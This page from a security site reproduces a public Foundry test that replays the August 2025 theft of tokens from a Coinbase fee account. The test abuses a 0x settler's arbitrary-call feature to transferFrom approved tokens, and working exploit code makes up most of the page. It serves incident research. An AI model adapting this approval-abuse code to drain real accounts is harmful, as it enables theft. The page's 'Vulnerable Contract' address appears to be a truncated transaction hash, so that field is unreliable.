Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/coinbase_exp.sol

Public reproduction file for dataset entry coinbase.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/coinbase_exp.sol107 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 300k USD
8// Attacker : https://etherscan.io/address/0xC31a49D1c4C652aF57cEFDeF248f3c55b801c649
9// Attack Contract : https://etherscan.io/address/0xF0D539955974b248d763D60C3663eF272dfC6971
10// Vulnerable Contract :
11// Attack Tx : https://etherscan.io/tx/0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df242710dfce8d1b68935f0e05773b
13// @Info
14// Vulnerable Contract Code :
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/deeberiroz/status/1955718986894549344
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22// 0x swapper
23address constant MAINNET_SETTLER = 0xDf31A70a21A1931e02033dBBa7DEaCe6c45cfd0f;
24address constant ANDY = 0x68BbEd6A47194EFf1CF514B50Ea91895597fc91E;
25// coinbase fee receiver account
26address constant COINBASE_FEE = 0x382fFCe2287252F930E1C8DC9328dac5BF282bA1;
28contract coinbase is BaseTestWithBalanceLog {
29 uint256 blocknumToForkFrom = 23134257 - 1;
31 function setUp() public {
32 vm.createSelectFork("mainnet", blocknumToForkFrom);
33 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34 fundingToken = ANDY;
35 }
37 function testExploit() public balanceLog {
38 // Root cause: A Coinbase fee account accidentally approved multiple ERC-20 tokens to a 0x swapper.
39 // The swapper lets anyone execute arbitrary calls.
40 // For example:
41 // https://etherscan.io/tx/0x8df54ebe76c09cda530f1fccb591166c716000ec95ee5cb37dff997b2ee269f2
43 // About 2 hours later (Aug-13-2025 07 PM), the attacker noticed and began exploiting it.
44 AttackContract attackContract = new AttackContract();
45 vm.deal(address(this), 0.01 ether);
46 uint256 fund = 0.00000000000000162 ether;
47 attackContract.attack{value: fund}();
48 }
51contract AttackContract is Test {
52 function attack() public payable {
53 AllowedSlippage memory slippage = AllowedSlippage({
54 recipient: payable(address(0)),
55 buyToken: IERC20(address(0)),
56 minAmountOut: 0
57 });
58 bytes[] memory actions = new bytes[](1);
59 uint256 amount = IERC20(ANDY).balanceOf(COINBASE_FEE);
60 bytes memory action = buildData(0, 10000, ANDY, 0, COINBASE_FEE, msg.sender, amount);
61 actions[0] = action;
62 // bytes32 data = 0xa00dda5ed0267accdf4ac6940000000000000000000000000000000000000000;
63 IMainnetSettler(MAINNET_SETTLER).execute(slippage, actions, "");
64 }
66 function buildData(
67 uint256 arg0,
68 uint256 arg1,
69 address target,
70 uint256 arg3,
71 address from,
72 address to,
73 uint256 amount
74 ) public pure returns (bytes memory) {
75 // Encode the inner ERC20 transferFrom call
76 bytes memory inner = abi.encodeWithSelector(
77 bytes4(keccak256("transferFrom(address,address,uint256)")),
78 from,
79 to,
80 amount
81 );
83 // Encode the outer function call
84 bytes memory data = abi.encodeWithSelector(
85 bytes4(0x38c9c147),
86 arg0,
87 arg1,
88 target,
89 arg3,
90 inner
91 );
92 return data;
93 }
96struct AllowedSlippage {
97 address payable recipient;
98 IERC20 buyToken;
99 uint256 minAmountOut;
102interface IMainnetSettler {
103 function execute(AllowedSlippage calldata slippage, bytes[] calldata actions, bytes32 data)
104 external
105 payable
106 returns (bool);

Analysis

Dataset entry

Public Foundry test for “coinbase” (2025-08-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc31a49d1c4c652af57cefdef248f3c55b801c649

  • Attack Contract

    0xf0d539955974b248d763d60c3663ef272dfc6971

  • Vulnerable Contract

    0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df2427

  • Attack Tx

    0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df242710dfce8d1b68935f0e05773b

File record

Name
coinbase
Path
src/test/2025-08/coinbase_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d337f123fb89d38445719822c0a353c753ef435c
Language
Solidity
Size
107 lines
Date
2025-08-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/coinbase_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d337f123fb89d38445719822c0a353c753ef435c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.